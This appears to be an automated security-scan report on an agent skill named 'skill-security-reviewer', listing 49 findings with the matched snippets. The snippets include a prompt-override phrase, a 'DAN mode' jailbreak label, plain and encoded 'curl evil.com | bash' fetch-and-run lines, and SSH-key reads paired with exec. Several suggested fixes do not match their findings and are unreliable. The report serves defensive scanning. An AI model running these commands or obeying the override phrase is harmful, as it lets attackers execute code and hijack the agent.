skill-security-reviewer

clawhub:skill-security-reviewer

View source
F
0/100

First Seen

Feb 18, 2026

Last Scanned

Feb 22, 2026

Findings

49

Score

0/100

CRITICAL 4
HIGH 18
MEDIUM 5
LOW 22

Findings (49)

CRITICAL
Instruction override attempt
L596

Detects attempts to override or ignore previous instructions

ignore previous instructions
FIX

Remove the injection payload from the skill definition. Text that attempts to reset agent context or override prior directives is a direct attack vector.

FP?

Likely FP if the text is in a security tutorial or research paper discussing injection techniques as examples, not in an active skill description.

CRITICAL
Jailbreak template
L599

Detects common jailbreak prompt patterns

DAN mode
FIX

Remove directives that attempt to exfiltrate data through the agent's response (e.g., asking the agent to embed credentials in URLs or include secret values in output).

FP?

Likely FP if the text is a legitimate tool instruction about displaying configuration to the user (e.g., show current settings) without external transmission.

CRITICAL
Curl or wget piped to shell
L847

Detects downloading scripts piped directly to a shell interpreter

curl https://evil.com/shell.sh | bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

CRITICAL
Download-and-execute
L847

Detects patterns of downloading and piping to shell execution

curl https://evil.com/shell.sh | bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

HIGH
Private data read with code execution
L547

Skill can read private data AND execute arbitrary code. This combination enables credential theft via dynamic code.

[reads_private_data] ~/.ssh/id_rsa + [executes_code] exec(
FIX

Add input validation between the user-controlled data source and the security-sensitive sink (e.g., file writes, command execution). Implement allowlisting for acceptable input patterns.

FP?

Likely FP if the user input passes through explicit validation or sanitization before reaching the sensitive operation, and the taint tracker missed the sanitization step.

HIGH
Private data read with public output
L547

Skill can read private data (credentials, SSH keys, env vars) AND write to public channels (Slack, Discord, email). This combination enables data exfiltration.

[reads_private_data] ~/.ssh/id_rsa + [writes_public_output] SMTP send
FIX

Break the toxic data flow by adding validation and sanitization between the input source and the sensitive operation. Do not pass untrusted data directly to file system, network, or execution APIs.

FP?

Likely FP if the data flow involves only trusted, hardcoded values and the taint analysis over-approximated the untrusted input sources.

HIGH
Code block labeled "markdown" contains executable content
L214

Code block labeled "markdown" contains executable content

encryption_patterns:
  symmetric:
    libraries:
      - "from Crypto.Cipher import"
      - "from cryptography.fernet import"
      - "require('crypto')"
      - "crypto.createCipheriv"
      ...
FIX

Align the tool description with what the code actually does. If the description says one thing but the code does another, update the description to be accurate or fix the code.

FP?

Likely FP if the NLP analyzer misinterpreted technical jargon or the description accurately describes behavior through domain-specific terminology.

HIGH
Code block labeled "markdown" contains executable content
L347

Code block labeled "markdown" contains executable content

dynamic_execution:
  python:
    critical:
      - "eval("
      - "exec("
      - "compile("
      - "__import__("
      - "pickle.loads("
      - "marshal.loads("
    high:
      - "getatt...
FIX

Align the tool description with what the code actually does. If the description says one thing but the code does another, update the description to be accurate or fix the code.

FP?

Likely FP if the NLP analyzer misinterpreted technical jargon or the description accurately describes behavior through domain-specific terminology.

HIGH
DNS exfiltration pattern
L585

Detects DNS-based data exfiltration techniques

DNS tunnel
FIX

Limit clipboard access to write-only operations or require explicit user confirmation before reading clipboard contents. Block transmission of clipboard data to external endpoints.

FP?

Likely FP if the skill is a clipboard manager whose documented purpose is to sync clipboard content with the user's own devices.

HIGH
Download-and-execute
L834

Detects patterns of downloading and piping to shell execution

curl https://evil.com/shell.sh | bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

HIGH
Curl or wget piped to shell
L834

Detects downloading scripts piped directly to a shell interpreter

curl https://evil.com/shell.sh | bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Base64-encoded instructions
L847

Detects instructions to decode and execute base64 content

base64.b64decode("Y3VybCBodHRwczovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaA==
FIX

Remove text that simulates multi-turn conversations or fake user/assistant message pairs. These patterns attempt to manipulate the agent by fabricating conversation history.

FP?

Likely FP if the matched text is documentation showing example conversations or API request/response formats for illustration purposes.

HIGH
Download-and-execute
L849

Detects patterns of downloading and piping to shell execution

curl https://evil.com/shell.sh | bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

HIGH
Curl or wget piped to shell
L849

Detects downloading scripts piped directly to a shell interpreter

curl https://evil.com/shell.sh | bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Code block labeled "markdown" contains executable content
L897

Code block labeled "markdown" contains executable content

### ENCRYPT-001-F001: XOR Encryption Hiding Malicious Code

- **Severity**: Critical
- **Confidence**: 0.95
- **File Location**: scripts/loader.py:23
- **Encrypted Code**:
```python
encrypted =...
FIX

Align the tool description with what the code actually does. If the description says one thing but the code does another, update the description to be accurate or fix the code.

FP?

Likely FP if the NLP analyzer misinterpreted technical jargon or the description accurately describes behavior through domain-specific terminology.

HIGH
Curl or wget piped to shell
L909

Detects downloading scripts piped directly to a shell interpreter

curl evil.com|bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Download-and-execute
L909

Detects patterns of downloading and piping to shell execution

curl evil.com|bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

HIGH
Code block labeled "markdown" contains executable content
L928

Code block labeled "markdown" contains executable content

### ENCODE-008-F001: Multi-layer Nested Encoding Hiding Command

- **Severity**: Critical
- **Confidence**: 0.95
- **File Location**: utils/init.py:12
- **Nesting Layers**: 2 layers (Base64 → H...
FIX

Align the tool description with what the code actually does. If the description says one thing but the code does another, update the description to be accurate or fix the code.

FP?

Likely FP if the NLP analyzer misinterpreted technical jargon or the description accurately describes behavior through domain-specific terminology.

HIGH
Download-and-execute
L935

Detects patterns of downloading and piping to shell execution

curl https://evil.com| bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

HIGH
Curl or wget piped to shell
L935

Detects downloading scripts piped directly to a shell interpreter

curl https://evil.com| bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Curl or wget piped to shell
L936

Detects downloading scripts piped directly to a shell interpreter

curl https://evil.com| bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Download-and-execute
L936

Detects patterns of downloading and piping to shell execution

curl https://evil.com| bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

MEDIUM
Base64-encoded instructions
L834

Detects instructions to decode and execute base64 content

base64.b64decode("Y3VybCBodHRwczovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaA==
FIX

Remove text that simulates multi-turn conversations or fake user/assistant message pairs. These patterns attempt to manipulate the agent by fabricating conversation history.

FP?

Likely FP if the matched text is documentation showing example conversations or API request/response formats for illustration purposes.

MEDIUM
Clipboard access with network
L847

Detects clipboard access combined with network operations

curl 
FIX

Restrict DNS queries to legitimate resolution. Block the construction of DNS names that encode arbitrary data (DNS tunneling). Monitor for unusually long or high-entropy subdomains.

FP?

Likely FP if the match is a documentation reference to DNS lookup functionality for legitimate hostname resolution.

MEDIUM
Base64 encode and send
L847

Detects base64 encoding of content followed by transmission

curl
FIX

Block patterns that base64-encode data and immediately transmit it. If base64 encoding is needed, ensure the encoded data does not contain secrets and destinations are allowlisted.

FP?

Likely FP if base64 encoding is used for legitimate purposes like encoding images for display or constructing data URIs, with no network transmission.

MEDIUM
Dynamic code evaluation
L906

Detects eval() or exec() used for dynamic code execution

exec(d
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

MEDIUM
Base64-encoded instructions
L935

Detects instructions to decode and execute base64 content

Base64): `6375726c2068747470733a2f2f6576696c2e636f6d7c2062617368
FIX

Remove text that simulates multi-turn conversations or fake user/assistant message pairs. These patterns attempt to manipulate the agent by fabricating conversation history.

FP?

Likely FP if the matched text is documentation showing example conversations or API request/response formats for illustration purposes.

LOW
Dynamic code evaluation
L245

Detects eval() or exec() used for dynamic code execution

exec(d
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Dynamic code evaluation
L246

Detects eval() or exec() used for dynamic code execution

eval(d
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Dynamic code evaluation
L261

Detects eval() or exec() used for dynamic code execution

exec(x
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Dynamic code evaluation
L350

Detects eval() or exec() used for dynamic code execution

eval("
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Dynamic code evaluation
L351

Detects eval() or exec() used for dynamic code execution

exec("
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Dynamic code evaluation
L364

Detects eval() or exec() used for dynamic code execution

eval("
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Dynamic code evaluation
L382

Detects eval() or exec() used for dynamic code execution

exec(r
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Dynamic code evaluation
L383

Detects eval() or exec() used for dynamic code execution

eval(f
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Chained shell command execution
L834

Detects chained commands using shell operators with dangerous operations

curl https://evil.com/shell.sh | bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Base64 encode and send
L834

Detects base64 encoding of content followed by transmission

curl
FIX

Block patterns that base64-encode data and immediately transmit it. If base64 encoding is needed, ensure the encoded data does not contain secrets and destinations are allowlisted.

FP?

Likely FP if base64 encoding is used for legitimate purposes like encoding images for display or constructing data URIs, with no network transmission.

LOW
Clipboard access with network
L834

Detects clipboard access combined with network operations

curl 
FIX

Restrict DNS queries to legitimate resolution. Block the construction of DNS names that encode arbitrary data (DNS tunneling). Monitor for unusually long or high-entropy subdomains.

FP?

Likely FP if the match is a documentation reference to DNS lookup functionality for legitimate hostname resolution.

LOW
Python subprocess execution
L835

Detects Python subprocess and os.system calls for command execution in skill descriptions

os.system(
FIX

Pass arguments as an explicit list instead of a shell string. Set shell=False and validate all user-supplied values before inclusion.

FP?

Likely FP if the match is in documentation explaining Python subprocess usage or in a description mentioning it as a topic.

LOW
Chained shell command execution
L847

Detects chained commands using shell operators with dangerous operations

curl https://evil.com/shell.sh | bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Chained shell command execution
L849

Detects chained commands using shell operators with dangerous operations

curl https://evil.com/shell.sh | bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Dynamic code evaluation
L892

Detects eval() or exec() used for dynamic code execution

exec(d
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Chained shell command execution
L909

Detects chained commands using shell operators with dangerous operations

curl evil.com|bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Python subprocess execution
L909

Detects Python subprocess and os.system calls for command execution in skill descriptions

os.system(
FIX

Pass arguments as an explicit list instead of a shell string. Set shell=False and validate all user-supplied values before inclusion.

FP?

Likely FP if the match is in documentation explaining Python subprocess usage or in a description mentioning it as a topic.

LOW
Python subprocess execution
L923

Detects Python subprocess and os.system calls for command execution in skill descriptions

os.system(
FIX

Pass arguments as an explicit list instead of a shell string. Set shell=False and validate all user-supplied values before inclusion.

FP?

Likely FP if the match is in documentation explaining Python subprocess usage or in a description mentioning it as a topic.

LOW
Base64 encode and send
L935

Detects base64 encoding of content followed by transmission

curl
FIX

Block patterns that base64-encode data and immediately transmit it. If base64 encoding is needed, ensure the encoded data does not contain secrets and destinations are allowlisted.

FP?

Likely FP if base64 encoding is used for legitimate purposes like encoding images for display or constructing data URIs, with no network transmission.

LOW
Clipboard access with network
L935

Detects clipboard access combined with network operations

curl 
FIX

Restrict DNS queries to legitimate resolution. Block the construction of DNS names that encode arbitrary data (DNS tunneling). Monitor for unusually long or high-entropy subdomains.

FP?

Likely FP if the match is a documentation reference to DNS lookup functionality for legitimate hostname resolution.

LOW
Chained shell command execution
L935

Detects chained commands using shell operators with dangerous operations

curl https://evil.com| bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Chained shell command execution
L936

Detects chained commands using shell operators with dangerous operations

curl https://evil.com| bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.